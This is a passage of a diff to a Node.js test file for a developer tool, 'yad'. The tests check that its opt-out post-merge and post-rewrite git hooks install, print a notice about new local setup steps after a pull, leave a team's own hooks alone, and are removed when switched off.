+ assert.ok(r.lines.some((l) => /tool-longtool/.test(l) && /left out/.test(l)), r.lines.join('\n'));
910
+ assert.ok(yadflowSteps(dir).some((x) => x.id === 'tool-longtool'), 'its step is built from the tool');
911
+ const view = localSetupDocLines(mergeLocalSetup({}, dir).settings).join('\n');
912
+ assert.ok(view.includes('tool-nowhere'), 'the other tool\'s step stays');
913
+ assert.ok(!view.includes('tool-longtool'), 'only the step that breaks a limit is left out of the view');
914
+ });
915
+
916
+ // ---- E185 part 4: the notice after a pull ---------------------------------------------------------
917
+
918
+ const NOTICE = path.join(ROOT, 'skills', 'yad-checks', 'templates', 'hooks', 'local-setup-notice.mjs');
919
+ const gitC = (dir, ...a) => execFileSync('git', a, { cwd: dir, encoding: 'utf8', env: { ...process.env, GIT_CONFIG_GLOBAL: '/dev/null', GIT_CONFIG_NOSYSTEM: '1', GIT_AUTHOR_NAME: 'Dev', GIT_AUTHOR_EMAIL: 'dev@example.com', GIT_COMMITTER_NAME: 'Dev', GIT_COMMITTER_EMAIL: 'dev@example.com' } });
920
+ const pullEnv = (extra = {}) => { const e = { ...process.env, GIT_CONFIG_GLOBAL: '/dev/null', GIT_CONFIG_NOSYSTEM: '1', GIT_AUTHOR_NAME: 'Dev', GIT_AUTHOR_EMAIL: 'dev@example.com', GIT_COMMITTER_NAME: 'Dev', GIT_COMMITTER_EMAIL: 'dev@example.com' }; delete e.YAD_HOOK_DISABLE; return { ...e, ...extra }; };
921
+
922
+ test('E185 part 4: the notice script counts the steps a move brought, less those answered here; its hash is yad\'s', async () => {
923
+ const { broughtSteps, stepHash: noticeHash } = await import(NOTICE);
924
+ const dir = product();
925
+ for (const s of [...yadflowSteps(dir), teamStep()]) assert.equal(noticeHash(s), stepHash(s), s.id);
926
+ const before = { yadflow: [], team: [teamStep()] };
927
+ const after = { yadflow: [], team: [teamStep({ commands: ['brew install --cask docker --force'] }), teamStep({ id: 'env-file' }), teamStep({ id: 'Bad Id' })] };
928
+ assert.deepEqual(broughtSteps(before, after, null), ['docker', 'env-file'], 'changed and new; a bad id is never printed');
929
+ const record = { steps: { 'env-file': { hash: stepHash(teamStep({ id: 'env-file' })), state: 'skipped' } } };
930
+ assert.deepEqual(broughtSteps(before, after, record), ['docker'], 'answered here as it is now');
931
+ assert.deepEqual(broughtSteps(after, after, null), []);
932
+ assert.deepEqual(broughtSteps(null, { team: 'nope' }, null), []);
933
+ });
934
+
935
+ test('E185 part 4: check --fix installs the notice from yad\'s own copy in git\'s folder; a foreign hook is left with advice; off removes yad\'s copies', async () => {
936
+ const { localSetupNoticeActions, orphanLocalSetupNoticeActions, localSetupNoticeStates, localSetupNoticeAdvice } = await import('./plan.mjs');
937
+ const dir = product();
938
+ applyAll(localSetupNoticeActions(dir));
939
+ assert.equal(fs.existsSync(path.join(dir, 'hooks', 'local-setup-notice.mjs')), false, 'never a file of the Product\'s');
940
+ const copy = path.join(dir, '.git', 'yad', 'local-setup-notice.mjs');
941
+ assert.equal(read(copy), read(NOTICE), 'yad\'s own bytes, in git\'s folder');
942
+ for (const name of ['post-merge', 'post-rewrite']) {
943
+ const f = path.join(dir, '.git', 'hooks', name);
944
+ assert.match(read(f), /yadflow local-setup notice \(E185\)/);
945
+ assert.match(read(f), /d="\$\(git rev-parse --git-common-dir 2>\/dev\/null\)" && \[ -n "\$d" \] \|\| exit 0; notice="\$d\/yad\/local-setup-notice\.mjs"/);
946
+ if (process.platform !== 'win32') assert.ok(fs.statSync(f).mode & 0o111, `${name} is executable`);
947
+ }
948
+ assert.match(read(path.join(dir, '.git', 'hooks', 'post-rewrite')), /\[ "\$1" = rebase \] \|\| exit 0/);
949
+ assert.deepEqual(localSetupNoticeStates(dir).map((s) => s.state), ['ok', 'ok']);
950
+ assert.deepEqual(localSetupNoticeActions(dir).filter((a) => a.status !== 'ok'), [], 'nothing left to do');
951
+ // A hook of the team's own is never touched; one line of advice names both lines to add.
952
+ put(path.join(dir, '.git', 'hooks', 'post-merge'), '#!/bin/sh\necho mine\n');
953
+ put(path.join(dir, '.git', 'hooks', 'post-rewrite'), '#!/bin/sh\necho mine too\n');
954
+ assert.deepEqual(localSetupNoticeActions(dir).filter((a) => /git hook/.test(a.item)), [], 'no hook action for a hook of the team\'s own');
955
+ const advice = localSetupNoticeAdvice(dir);
956
+ assert.match(advice, /yad left post-merge and post-rewrite alone/);
957
+ assert.match(advice, /post-rewrite: \[ "\$1" != rebase \] \|\| \{ d=/, 'the hand line keeps rebase-only');
958
+ // Turned off: only yad's exact copies go.
959
+ fs.rmSync(path.join(dir, '.git', 'hooks', 'post-rewrite'));
960
+ applyAll(localSetupNoticeActions(dir));
961
+ const cfg = path.join(dir, '.sdlc', 'product.json');
962
+ put(cfg, { ...JSON.parse(read(cfg)), localSetupNotice: false });
963
+ assert.deepEqual(localSetupNoticeActions(dir), []);
964
+ applyAll(orphanLocalSetupNoticeActions(dir));
965
+ assert.equal(fs.existsSync(path.join(dir, '.git', 'hooks', 'post-rewrite')), false);
966
+ assert.equal(fs.existsSync(copy), false);
967
+ assert.equal(read(path.join(dir, '.git', 'hooks', 'post-merge')), '#!/bin/sh\necho mine\n');
968
+ });
969
+
970
+ test('E185 part 4: core.hooksPath gets one line of advice, on --fix only', async () => {
971
+ const { localSetupNoticeAdvice, localSetupNoticeActions } = await import('./plan.mjs');
972
+ const dir = product();
973
+ gitIn(dir, 'config', 'core.hooksPath', '.husky/_');
974
+ assert.deepEqual(localSetupNoticeActions(dir).filter((a) => /git hook/.test(a.item)), []);
975
+ assert.match(localSetupNoticeAdvice(dir), /core\.hooksPath is \.husky\/_\); for the local setup notice after a pull, add to \.husky\/post-merge and \.husky\/post-rewrite/);
976
+ });
977
+
978
+ // A Product with the notice installed, pushed to a bare origin, and a second clone of it with its own install.
979
+ async function noticeClones({ sub = '' } = {}) {
980
+ const { localSetupNoticeActions } = await import('./plan.mjs');
981
+ const T = tmp();
982
+ const repoA = path.join(T, 'a');
983
+ fs.mkdirSync(repoA);
984
+ gitC(repoA, 'init', '-q', '-b', 'main');
985
+ const A = sub ? path.join(repoA, sub) : repoA;
986
+ put(path.join(A, '.sdlc', 'product.json'), { name: 'Orchard' });
987
+ applyAll(localSetupActions(A));
988
+ applyAll(localSetupNoticeActions(A));
989
+ gitC(repoA, 'add', '-A'); gitC(repoA, 'commit', '-qm', 'setup', '--no-verify');
990
+ const origin = path.join(T, 'origin.git');
991
+ gitC(T, 'init', '-q', '--bare', '-b', 'main', origin);
992
+ gitC(repoA, 'remote', 'add', 'origin', origin); gitC(repoA, 'push', '-q', 'origin', 'HEAD:main');
993
+ const repoB = path.join(T, 'b');
994
+ gitC(T, 'clone', '-q', '-b', 'main', origin, repoB);
995
+ const B = sub ? path.join(repoB, sub) : repoB;
996
+ applyAll(localSetupNoticeActions(B));
997
+ return { T, repoA, A, repoB, B };
998
+ }
999
+ const addStep = async (T, A, repoA, step) => {
1000
+ const { runLocalSetupAdd } = await import('./local-setup.mjs');
1001
+ const f = path.join(T, `${step.id}.json`);
1002
+ put(f, { title: step.id, purpose: 'needed here', impact: 'changes a file', when: 'optional', commands: ['true'], ...step });
1003
+ const r = quiet(() => runLocalSetupAdd(A, { from: f }));
1004
+ assert.equal(r.value?.added, step.id, r.lines.join('\n'));
1005
+ gitC(repoA, 'add', '-A'); gitC(repoA, 'commit', '-qm', `step ${step.id}`, '--no-verify'); gitC(repoA, 'push', '-q', 'origin', 'HEAD:main');
1006
+ };
1007
+ const gitRun = (dir, args, extra) => spawnSync('git', args, { cwd: dir, encoding: 'utf8', env: pullEnv(extra) });
1008
+
1009
+ test('E185 part 4: after a real pull — fast-forward, a true merge, or a rebase — the person sees one line; never on amend, nothing changed, or when skipped', { skip: process.platform === 'win32' }, async () => {
1010
+ const { T, repoA, A, repoB } = await noticeClones();
1011
+ assert.doesNotMatch(gitRun(repoB, ['pull', '-q', '--no-rebase']).stderr, /yad: the pull brought/, 'nothing changed');
1012
+ await addStep(T, A, repoA, { id: 'env-file' });
1013
+ const ff = gitRun(repoB, ['pull', '-q', '--no-rebase']);
1014
+ assert.equal(ff.status, 0, ff.stderr);
1015
+ assert.match(ff.stderr, /yad: the pull brought 1 local setup step\(s\) to look at \(env-file\) — run `yad local-setup`/);
1016
+ // A true merge commit (B has its own commit).
1017
+ await addStep(T, A, repoA, { id: 'merge-step' });
1018
+ put(path.join(repoB, 'notes.txt'), 'mine\n'); gitC(repoB, 'add', 'notes.txt'); gitC(repoB, 'commit', '-qm', 'mine', '--no-verify');
1019
+ const merge = gitRun(repoB, ['pull', '-q', '--no-rebase', '--no-edit']);
1020
+ assert.equal(merge.status, 0, merge.stderr);
1021
+ assert.match(merge.stderr, /\(merge-step\)/);
1022
+ // A rebase over a commit of B's own: post-rewrite says it.
1023
+ await addStep(T, A, repoA, { id: 'docker-up' });
1024
+ put(path.join(repoB, 'notes.txt'), 'mine 2\n'); gitC(repoB, 'commit', '-qam', 'mine 2', '--no-verify');
1025
+ const rebased = gitRun(repoB, ['pull', '-q', '--rebase']);
1026
+ assert.equal(rebased.status, 0, rebased.stderr);
1027
+ assert.match(rebased.stderr, /\(docker-up\)/);
1028
+ // An amend after it says nothing: post-rewrite acts only on a rebase.
1029
+ const amend = gitRun(repoB, ['commit', '-q', '--amend', '-m', 'mine 2, reworded', '--no-verify']);
1030
+ assert.equal(amend.status, 0, amend.stderr);
1031
+ assert.doesNotMatch(amend.stderr, /yad: the pull brought/);
1032
+ // The switch silences it.
1033
+ await addStep(T, A, repoA, { id: 'make-setup' });
1034
+ assert.doesNotMatch(gitRun(repoB, ['pull', '-q', '--rebase'], { YAD_HOOK_DISABLE: '1' }).stderr, /yad: the pull brought/);
1035
+ });
1036
+
1037
+ test('E185 part 4: a Product in a subfolder of its repo gets the notice; so does the pull that brings the script itself', { skip: process.platform === 'win32' }, async () => {
1038
+ const { T, repoA, A, repoB } = await noticeClones({ sub: 'product' });
1039
+ await addStep(T, A, repoA, { id: 'env-file' });
1040
+ const r = gitRun(repoB, ['pull', '-q', '--no-rebase']);
1041
+ assert.equal(r.status, 0, r.stderr);
1042
+ assert.match(r.stderr, /\(env-file\)/);
1043
+ // The first pull that brings .sdlc/local-setup.json at all.
1044
+ const { notice } = await import(NOTICE);
1045
+ const C = tmp();
1046
+ gitC(C, 'init', '-q', '-b', 'main');
1047
+ put(path.join(C, 'README.md'), 'x\n'); gitC(C, 'add', '-A'); gitC(C, 'commit', '-qm', 'one', '--no-verify');
1048
+ put(path.join(C, '.sdlc', 'local-setup.json'), { yadflow: [], team: [teamStep()] }); gitC(C, 'add', '-A'); gitC(C, 'commit', '-qm', 'two', '--no-verify');
1049
+ gitC(C, 'update-ref', 'ORIG_HEAD', 'HEAD~1');
1050
+ const cwd = process.cwd();
1051
+ try { process.chdir(C); delete process.env.YAD_HOOK_DISABLE; assert.match(notice('.'), /\(docker\)/); } finally { process.chdir(cwd); }
1052
+ });
1053
+
1054
+ test('E185 part 4: the doctor row says whether this clone has the notice and its script, in any ledger mode', async () => {
1055
+ const { localSetupNoticeCheck } = await import('./doctor.mjs');
1056
+ const { localSetupNoticeActions } = await import('./plan.mjs');
1057
+ const row = (dir) => { const checks = []; localSetupNoticeCheck(dir, checks); return checks.find((x) => x.id === 'local-setup-hook'); };
1058
+ const dir = product();
1059
+ assert.equal(row(dir).status, 'warn');
1060
+ assert.match(row(dir).hint, /post-merge, post-rewrite, its script in git's folder \(missing\) — `yad check --fix` installs them/);
1061
+ applyAll(localSetupNoticeActions(dir));
1062
+ assert.equal(row(dir).status, 'ok');
1063
+ // Mixed: one hook the team's own, the script gone — both said.
1064
+ put(path.join(dir, '.git', 'hooks', 'post-merge'), '#!/bin/sh\necho mine\n');
1065
+ fs.rmSync(path.join(dir, '.git', 'yad', 'local-setup-notice.mjs'));
1066
+ const r = row(dir);
1067
+ assert.equal(r.status, 'warn');
1068
+ assert.match(r.hint, /its script in git's folder \(missing\)/);
1069
+ assert.match(r.hint, /yad left post-merge alone/);
1070
+ const cfg = path.join(dir, '.sdlc', 'product.json');
1071
+ put(cfg, { ...JSON.parse(read(cfg)), localSetupNotice: false });
1072
+ assert.match(row(dir).message, /turned off for this Product/);
1073
+ });
1074
+
1075
+ test('E185 part 4 review 2: a subfolder Product in a linked worktree gets the notice too', { skip: process.platform === 'win32' }, async () => {
1076
+ const { T, repoA, A, repoB } = await noticeClones({ sub: 'product' });
1077
+ const wt = path.join(T, 'b wt');
1078
+ gitC(repoB, 'worktree', 'add', '-q', '-b', 'side', wt, 'origin/main');
1079
+ gitC(wt, 'branch', '-q', '--set-upstream-to', 'origin/main');
1080
+ await addStep(T, A, repoA, { id: 'in-worktree' });
1081
+ const r = gitRun(wt, ['pull', '-q', '--no-rebase']);
1082
+ assert.equal(r.status, 0, r.stderr);
1083
+ assert.match(r.stderr, /\(in-worktree\)/);
1084
+ });
1085
+
1086
+ test('E185 part 4 review 2: a hook of the team\'s own with yad\'s line is wired; off removes even an outdated copy, and the script itself goes quiet', async () => {
1087
+ const { localSetupNoticeActions, orphanLocalSetupNoticeActions, localSetupNoticeStates, localSetupNoticeAdvice } = await import('./plan.mjs');
1088
+ const { localSetupNoticeCheck } = await import('./doctor.mjs');
1089
+ const dir = product();
1090
+ applyAll(localSetupActions(dir));
1091
+ applyAll(localSetupNoticeActions(dir));
1092
+ // Put yad's own line in a hook of the team's.
1093
+ const { localSetupNoticeStates: states } = await import('./plan.mjs');
1094
+ const own = path.join(dir, '.git', 'hooks', 'post-merge');
1095
+ // A mention of the path in a comment is not a wired hook (review 3).
1096
+ put(own, '#!/bin/sh\necho mine\n# notice="$d/yad/local-setup-notice.mjs"; node "$notice" \'.\'\n');
1097
+ fs.chmodSync(own, 0o755);
1098
+ assert.equal(states(dir)[0].state, 'foreign');
1099
+ put(own, '#!/bin/sh\necho mine\n{ d="$(git rev-parse --git-common-dir 2>/dev/null)" || d=; notice="$d/yad/local-setup-notice.mjs"; [ -z "$d" ] || [ ! -f "$notice" ] || node "$notice" \'.\' || true; }\n');
1100
+ if (process.platform !== 'win32') {
1101
+ fs.chmodSync(own, 0o644);
1102
+ assert.equal(states(dir)[0].state, 'foreign', 'git skips a hook it cannot run');
1103
+ }
1104
+ fs.chmodSync(own, 0o755);
1105
+ assert.equal(localSetupNoticeStates(dir)[0].state, 'hand-wired');
1106
+ assert.equal(localSetupNoticeAdvice(dir), null);
1107
+ const checks = []; localSetupNoticeCheck(dir, checks);
1108
+ const row = checks.find((x) => x.id === 'local-setup-hook');
1109
+ assert.equal(row.status, 'ok');
1110
+ assert.match(row.message, /post-merge by the line in your own hook/);
1111
+ // An outdated copy is removed too when the team turns the notice off.
1112
+ const copy = path.join(dir, '.git', 'yad', 'local-setup-notice.mjs');
1113
+ put(copy, '// an older yad\n');
1114
+ const cfg = path.join(dir, '.sdlc', 'product.json');
1115
+ put(cfg, { ...JSON.parse(read(cfg)), localSetupNotice: false });
1116
+ applyAll(orphanLocalSetupNoticeActions(dir));
1117
+ assert.equal(fs.existsSync(copy), false);
1118
+ // The script reads the switch itself (a hand line could still run an old copy).
1119
+ const { notice } = await import(NOTICE);
1120
+ gitC(dir, 'add', '-A'); gitC(dir, 'commit', '-qm', 'off', '--no-verify');
1121
+ const file = path.join(dir, LOCAL_SETUP_FILE);
1122
+ put(file, { ...JSON.parse(read(file)), team: [teamStep()] }); gitC(dir, 'add', '-A'); gitC(dir, 'commit', '-qm', 'step', '--no-verify');
1123
+ gitC(dir, 'update-ref', 'ORIG_HEAD', 'HEAD~1');
1124
+ const cwd = process.cwd();
1125
+ try {
1126
+ process.chdir(dir);
1127
+ assert.equal(notice('.'), null, 'off');
1128
+ put(cfg, { ...JSON.parse(read(cfg)), localSetupNotice: true }); gitC(dir, 'add', '-A'); gitC(dir, 'commit', '-qm', 'on', '--no-verify');
1129
+ gitC(dir, 'update-ref', 'ORIG_HEAD', 'HEAD~2');
1130
+ assert.match(notice('.'), /\(docker\)/, 'on again');
1131
+ } finally { process.chdir(cwd); }
1132
+ });
1133
+
1134
+ test('E185 part 4 review 3: a husky hook with yad\'s line is wired; the line keeps a set -e hook going; hub.json\'s off switch counts', { skip: process.platform === 'win32' }, async () => {
1135
+ const { localSetupNoticeActions, localSetupNoticeStates, localSetupNoticeAdvice } = await import('./plan.mjs');
1136
+ const dir = product();
1137
+ applyAll(localSetupActions(dir));
1138
+ applyAll(localSetupNoticeActions(dir));
1139
+ gitIn(dir, 'config', 'core.hooksPath', '.husky/_');
1140
+ assert.deepEqual(localSetupNoticeStates(dir).map((s) => s.state), ['hooks-path', 'hooks-path']);
1141
+ const [merge, rewrite] = localSetupNoticeStates(dir);
1142
+ put(path.join(dir, '.husky', 'post-merge'), `set -e\n${merge.line}\necho after\n`);
1143
+ put(path.join(dir, '.husky', 'post-rewrite'), `${rewrite.line}\n`);
1144
+ assert.deepEqual(localSetupNoticeStates(dir).map((s) => s.state), ['hand-wired', 'hand-wired']);
1145
+ assert.equal(localSetupNoticeAdvice(dir), null);
1146
+ // The line never stops a `set -e` hook, even when git cannot name its folder.
1147
+ const r = spawnSync('sh', ['-e', path.join(dir, '.husky', 'post-merge')], { cwd: tmp(), encoding: 'utf8', env: { ...process.env, PATH: process.env.PATH, GIT_DIR: '/nonexistent' } });
1148
+ assert.equal(r.status, 0, r.stderr);
1149
+ assert.match(r.stdout, /after/);
1150
+ // A Product on the older config name turns the script off too.
1151
+ const { notice } = await import(NOTICE);
1152
+ fs.renameSync(path.join(dir, '.sdlc', 'product.json'), path.join(dir, '.sdlc', 'hub.json'));
1153
+ put(path.join(dir, '.sdlc', 'hub.json'), { name: 'Orchard', localSetupNotice: false });
1154
+ gitC(dir, 'add', '-A'); gitC(dir, 'commit', '-qm', 'one', '--no-verify');
1155
+ const file = path.join(dir, LOCAL_SETUP_FILE);
1156
+ put(file, { ...JSON.parse(read(file)), team: [teamStep()] }); gitC(dir, 'add', '-A'); gitC(dir, 'commit', '-qm', 'two', '--no-verify');
1157
+ gitC(dir, 'update-ref', 'ORIG_HEAD', 'HEAD~1');
1158
+ const cwd = process.cwd();
1159
+ try { process.chdir(dir); assert.equal(notice('.'), null); } finally { process.chdir(cwd); }
1160
+ });
1161
+
1162
+ test('E185 part 4 review 4: a plain hooks folder and a ~ hooksPath are read where git runs them; a CRLF line is not wired', { skip: process.platform === 'win32' }, async () => {
1163
+ const { localSetupNoticeStates } = await import('./plan.mjs');
1164
+ const dir = product();
1165
+ gitIn(dir, 'config', 'core.hooksPath', '.githooks');
1166
+ const [merge] = localSetupNoticeStates(dir);
1167
+ const f = path.join(dir, '.githooks', 'post-merge');
1168
+ put(f, `#!/bin/sh\n${merge.line}\n`);
1169
+ fs.chmodSync(f, 0o644);
1170
+ assert.equal(localSetupNoticeStates(dir)[0].state, 'hooks-path', 'git skips a hook it cannot run');
1171
+ fs.chmodSync(f, 0o755);
1172
+ assert.equal(localSetupNoticeStates(dir)[0].state, 'hand-wired');
1173
+ put(f, `#!/bin/sh\r\n${merge.line}\r\n`);
1174
+ assert.equal(localSetupNoticeStates(dir)[0].state, 'hooks-path', 'a CRLF line sh cannot run');
1175
+ put(f, `#!/bin/sh\r\n${merge.line}`);
1176
+ assert.equal(localSetupNoticeStates(dir)[0].state, 'hooks-path', 'a CR on the #! line alone');
1177
+ // ~ in core.hooksPath: read where git resolves it.
1178
+ const home = tmp();
1179
+ const prev = process.env.HOME;
1180
+ try {
1181
+ process.env.HOME = home;
1182
+ gitIn(dir, 'config', 'core.hooksPath', '~/.myhooks');
1183
+ const at = path.join(home, '.myhooks', 'post-merge');
1184
+ put(at, `#!/bin/sh\n${localSetupNoticeStates(dir)[0].line}\n`);
1185
+ fs.chmodSync(at, 0o755);
1186
+ assert.equal(localSetupNoticeStates(dir)[0].state, 'hand-wired');
1187
+ } finally { process.env.HOME = prev; }
1188
+ });